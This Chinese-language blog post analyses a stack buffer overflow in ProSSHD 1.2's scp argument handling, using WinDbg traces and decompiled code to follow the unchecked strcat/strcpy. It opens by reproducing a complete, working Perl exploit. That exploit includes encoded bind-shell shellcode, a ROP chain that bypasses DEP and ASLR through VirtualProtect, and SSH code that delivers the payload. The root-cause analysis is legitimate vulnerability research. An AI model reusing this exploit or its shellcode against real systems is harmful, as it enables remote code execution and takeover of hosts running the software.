作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/dc04ef8768717e17f322f78316704008-sshdlabp.exe
PoC:
# Exploit Title: ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)
# Date: 03.05.2010
# Author: Alexey Sintsov
# Version: 1.2
# Tested on: Windows XP SP3 / Windows 7
# CVE :
# Code :
################################################################################
# Original exploit by S2 Crew [Hungary]
# * * *
# ROP for DEP and ASLR bypass by Alexey Sintsov from DSecRG [www.dsecrg.com]
# * * *
# Tested on: ProSSHD v1.2 on Windows XP and Windows 7 with DEP for all
#
# Special for XAKEP magazine [www.xakep.ru]
#
#
# CVE: -
#!/usr/bin/perl
use Net::SSH2;
$username = '';
$password = '';
$host = '192.168.126.129'; #Remote host
#$host = '192.168.13.6';
$port = 22;
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,
# AutoRunScript=
$shell =
"\xba\xda\x29\x13\xda\xd9\xe9\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x56\x31\x50\x13\x83\xc0\x04\x03\x50\xd5\xcb\xe6\x26" .
"\x01\x82\x09\xd7\xd1\xf5\x80\x32\xe0\x27\xf6\x37\x50\xf8" .
"\x7c\x15\x58\x73\xd0\x8e\xeb\xf1\xfd\xa1\x5c\xbf\xdb\x8c" .
"\x5d\x71\xe4\x43\x9d\x13\x98\x99\xf1\xf3\xa1\x51\x04\xf5" .
"\xe6\x8c\xe6\xa7\xbf\xdb\x54\x58\xcb\x9e\x64\x59\x1b\x95" .
"\xd4\x21\x1e\x6a\xa0\x9b\x21\xbb\x18\x97\x6a\x23\x13\xff" .
"\x4a\x52\xf0\xe3\xb7\x1d\x7d\xd7\x4c\x9c\x57\x29\xac\xae" .
"\x97\xe6\x93\x1e\x1a\xf6\xd4\x99\xc4\x8d\x2e\xda\x79\x96" .
"\xf4\xa0\xa5\x13\xe9\x03\x2e\x83\xc9\xb2\xe3\x52\x99\xb9" .
"\x48\x10\xc5\xdd\x4f\xf5\x7d\xd9\xc4\xf8\x51\x6b\x9e\xde" .
"\x75\x37\x45\x7e\x2f\x9d\x28\x7f\x2f\x79\x95\x25\x3b\x68" .
"\xc2\x5c\x66\xe5\x27\x53\x99\xf5\x2f\xe4\xea\xc7\xf0\x5e" .
"\x65\x64\x79\x79\x72\x8b\x50\x3d\xec\x72\x5a\x3e\x24\xb1" .
"\x0e\x6e\x5e\x10\x2e\xe5\x9e\x9d\xfb\xaa\xce\x31\x53\x0b" .
"\xbf\xf1\x03\xe3\xd5\xfd\x7c\x13\xd6\xd7\x0b\x13\x18\x03" .
"\x58\xf4\x59\xb3\x4f\x58\xd7\x55\x05\x70\xb1\xce\xb1\xb2" .
"\xe6\xc6\x26\xcc\xcc\x7a\xff\x5a\x58\x95\xc7\x65\x59\xb3" .
"\x64\xc9\xf1\x54\xfe\x01\xc6\x45\x01\x0c\x6e\x0f\x3a\xc7" .
"\xe4\x61\x89\x79\xf8\xab\x79\x19\x6b\x30\x79\x54\x90\xef" .
"\x2e\x31\x66\xe6\xba\xaf\xd1\x50\xd8\x2d\x87\x9b\x58\xea" .
"\x74\x25\x61\x7f\xc0\x01\x71\xb9\xc9\x0d\x25\x15\x9c\xdb" .
"\x93\xd3\x76\xaa\x4d\x8a\x25\x64\x19\x4b\x06\xb7\x5f\x54" .
"\x43\x41\xbf\xe5\x3a\x14\xc0\xca\xaa\x90\xb9\x36\x4b\x5e" .
"\x10\xf3\x7b\x15\x38\x52\x14\xf0\xa9\xe6\x79\x03\x04\x24" .
"\x84\x80\xac\xd5\x73\x98\xc5\xd0\x38\x1e\x36\xa9\x51\xcb" .
"\x38\x1e\x51\xde";
$fuzz = "\x41"x491 . # buffer before RET addr rewriting
############################### ROP
# All ROP instructions from non ASLR modules (coming with ProSHHD distrib): MSVCR71.DLL and MFC71.DLL
# For DEP bypass used VirtualProtect call from non ASLR DLL - 0x7C3528DD (MSVCR71.DLL)
# this make stack executable:
#### RET rewrite###
"\x9F\x07\x37\x7C". # MOV EAX, EDI / POP EDI / POP ESI / RETN ; EAX points on our stack data with some offset
"\x11\x11\x11\x11". # JUNK---------------^^^ ^^^
"\x22\x22\x22\x22". # JUNK-------------------------^^^
"\x27\x34\x34\x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
"\x33\x33\x33\x33". # JUNK------------------------------^^^
"\xC1\x4C\x34\x7C". # POP EAX / RETN
# ^^^
"\x33\x33\x33\x33". # ^^^
"\x33\x33\x33\x33". # ^^^
"\x33\x33\x33\x33". # ^^^
"\x33\x33\x33\x33". # ^^^
# ^^^
"\xC0\xFF\xFF\xFF". # ----^^^ Param for next instruction...
"\x05\x1e\x35\x7C". # NEG EAX / RETN ; EAX will be 0x40 (param for VirtualProtect)
"\xc8\x03\x35\x7C". # MOV DS:[ECX], EAX / RETN ; save 0x40 (3 param)
"\x40\xa0\x35\x7C". # MOV EAX, ECX / RETN ; restore pointer in EAX
"\xA1\x1D\x34\x7C". # DEC EAX / RETN ; Change position
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN ; EAX=ECX-0x0c
"\x08\x94\x16\x7C". # MOV DS:[EAX+0x4], EAX / RETN ;save addres for VirtualProtect (1 param)
"\xB9\x1F\x34\x7C". # INC EAX / RETN ; oh ... and move pointer back
"\xB9\x1F\x34\x7C". # INC EAX / RETN
"\xB9\x1F\x34\x7C". # INC EAX / RETN
"\xB9\x1F\x34\x7C". # INC EAX / RETN ; EAX=ECX=0x8
"\xB2\x01\x15\x7C". # MOV [EAX+0x4], 1 ; size for VirtualProtect (2 param)
"\xA1\x1D\x34\x7C". # DEC EAX / RETN ; Change position for output from VirtualProtect
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\xA1\x1D\x34\x7C". # DEC EAX / RETN
"\x27\x34\x34\x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10
"\x33\x33\x33\x33". # JUNK------------------------------^^^
"\x40\xa0\x35\x7C". # MOV EAX, ECX / RETN ; restore pointer in EAX
#
"\x33\x33\x33\x33". #
"\x33\x33\x33\x33". #
"\x33\x33\x33\x33". #
"\x33\x33\x33\x33". #
"\xB9\x1F\x34\x7C". # INC EAX / RETN ; and again...
"\xB9\x1F\x34\x7C". # INC EAX / RETN
"\xB9\x1F\x34\x7C". # INC EAX / RETN
"\xB9\x1F\x34\x7C". # INC EAX / RETN
"\xE5\x6B\x36\x7C". # MOV DS:[EAX+0x14], ECX ; save output addr for VirtualProtect (4 param)
"\xBA\x1F\x34\x7C"x204 . # RETN fill.....
"\xDD\x28\x35\x7C". # CALL VirtualProtect / LEA ESP, [EBP-58] / POP EDI / ESI / EBX / RETN ;Call VirtualProtect
"AAAABBBBCCCCDDDD". # Here is place for params (VirtualProtect)
####################### retrun into stack after VirtualProtect
"\x1A\xF2\x35\x7C". # ADD ESP, 0xC / RETN ; take next ret
"XXXYYYZZZ123". # trash
"\x30\x5C\x34\x7C". # 0x7c345c2e: ANDPS XMM0, XMM3 -- (+0x2 to address and....) --> PUSH ESP / RETN ; EIP=ESP
"\x90"x14 . # NOPs here is the begining of shellcode
$shell; # shellcode 8)
$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
#sleep(10);
$scpget = $ssh2->scp_get($fuzz);
$ssh2->disconnect();
环境及说明:
exploit-db上的PoC是perl写的
os: windows xp
漏洞复现
prosshd是一款windows下的ssh工具,开启服务之后,其他主机可以通过ssh方法访问windows主机22端口,连接成功后可以对主机进行操作,在prosshd处理scp命令参数的时候,由于没有对该命令参数进行长度控制,从而导致在执行某函数时由于strcpy导致缓冲区溢出,从而可以执行任意代码。下面对此漏洞进行详细分析。
首先配置好prosshd,发送poc,附加windbg,到达漏洞现场。
(a48.a54): Access violation - code c0000005 (!!! second chance !!!)
eax=00000a68 ebx=00000640 ecx=7c92f641 edx=00000007 esi=7c81d827 edi=0012f3d8
eip=41414141 esp=0012efc0 ebp=0012f3dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
41414141 ?? ???
可以看到此时eip指向一个位置地址,这个地址是一个用户可控的位置,通过kb回溯堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012efbc 41414141 41414141 41414141 41414141 0x41414141
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Lab-NC\ProSSHD\wsshd.exe -
0012f3dc 0040214d 013c6300 0012f514 0012f508 0x41414141
0012f3f0 7c93003d 7c34218a 003d0000 00000000 wsshd+0x214d
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Lab-NC\ProSSHD\MSVCR71.dll -
0012f3f4 7c34218a 003d0000 00000000 7c34218f ntdll!RtlFreeHeap+0x130
0012f400 7c34218f 00000010 003d7040 003d688c MSVCR71!free+0x39
00000000 00000000 00000000 00000000 00000000 MSVCR71!free+0x3e
0:000> lm
start end module name
00400000 00457000 wsshd (export symbols) C:\Program Files\Lab-NC\ProSSHD\wsshd.exe
此时esp被覆盖,0012efbc栈地址位置的值被覆盖为41414141,初步判断是由于返回地址被覆盖导致的。
漏洞分析
通过回溯,找到了外层一块,查看一下块内汇编代码。
loc_402130:
mov eax, [esp+100h+arg_C]
mov ecx, [esp+100h+arg_8]
mov edx, [esp+100h+Source]
push eax ; int
push ecx ; int
push edx ; Source
call sub_401B40
可以看到这里调用了一个函数sub_401b40,而此时source的值是什么呢。
0:000> dc 014c6318
014c6318 20706373 2066702d 41414127 41414141 scp -pf 'AAAAAAA
014c6328 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
014c6338 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
014c6348 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
014c6358 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
014c6368 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
014c6378 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
正是引发漏洞的scp命令,这个scp命令是由poc发出的,可以看到这里没有对这个参数长度进行控制,而是直接作为source参数传入函数执行后续逻辑。
来看一下sub_401b40函数的内容。
int __cdecl sub_401B40(char *Source, int a2, int a3)
{
bool v3; // zf@5
const char *v4; // eax@5
int result; // eax@7
char Dest[4]; // [sp+10h] [bp-400h]@1
char v7; // [sp+17h] [bp-3F9h]@1
char v8; // [sp+40Fh] [bp-1h]@1
strcpy(Dest, "cmd /A");
memset(&v7, 0, 0x3F8u);
v8 = 0;
if ( dword_44C238 )
strcat(Dest, " /Q");
if ( Source )
{
strcat(Dest, " /C ");
strcat(Dest, Source);
}
可以看到,函数中提到一个数组变量Dest,这个缓冲区用于保存一个新的命令,根据情况来看应该是一个cmd命令,可以看到这里会对Dest字符串进行构造。
构造内容为 cmd /A /Q /C,而在if(source)内部,最后会连接上source的内容,这个过程会造成Dest组成一个超长畸形字符串。
0:000> dc esp
0012efc0 00000650 00000650 004568e0 013c6270 P...P....hE.pb<.
0012efd0 003d7280 77fc2160 20646d63 2f20412f .r=.`!.wcmd /A /
0012efe0 432f2051 70637320 66702d20 41412720 Q /C scp -pf 'AA
0012eff0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012f000 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012f010 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012f020 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012f030 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
看看接下来的代码逻辑。
v3 = AllocConsole() == 0;
v4 = "fl_consOK=1\n";
if ( v3 )
v4 = "fl_consOK=0\n";
sub_4010D0(v4);
sub_4017D0();
CreatePipe(&hReadPipe, &hWritePipe, 0, 0);
CreatePipe(&dword_44E1A0, &dword_44E1B0, 0, 0);
dword_44E19C = (int)hWritePipe;
result = sub_401920(Dest, dword_44E1A0, hWritePipe, hWritePipe);
在最后,result会调用一个函数sub_401920,这个函数会将Dest作为一个参数传入函数中,而留心这个过程,并没有对Dest长度进行判断,而是将这个cmd命令行字符串直接传入,其中包含了scp的畸形字符串。
观察一下这个函数的代码逻辑。
int __usercall sub_401920@<eax>(const char *a1@<eax>, void *a2@<ebx>, HANDLE a3, HANDLE hObject)
{
strcpy(&Dest, a1);
这里我删除了函数中变量定义部分,可以看到,这里第一个参数,也就是畸形字符串会直接拷贝至目标缓冲区,从而引发栈溢出,返回时通过覆盖返回地址,达到任意代码执行的目的。
总结一下整个过程,prosshd在接收scp命令字符串时没有对字符串长度进行控制,而是直接进行拼接成为一个cmd命令字符串,传入函数,当执行strcpy时会将栈破坏,通过覆盖返回地址,从而执行任意代码。
这里我要提的是没有进行动态调试,是因为在调试过程中,发现主要进程wsshd.exe似乎被隐藏了,所以我用默认调试器的方法直接定位wsshd.exe出现问题的函数,只能进行静态回溯。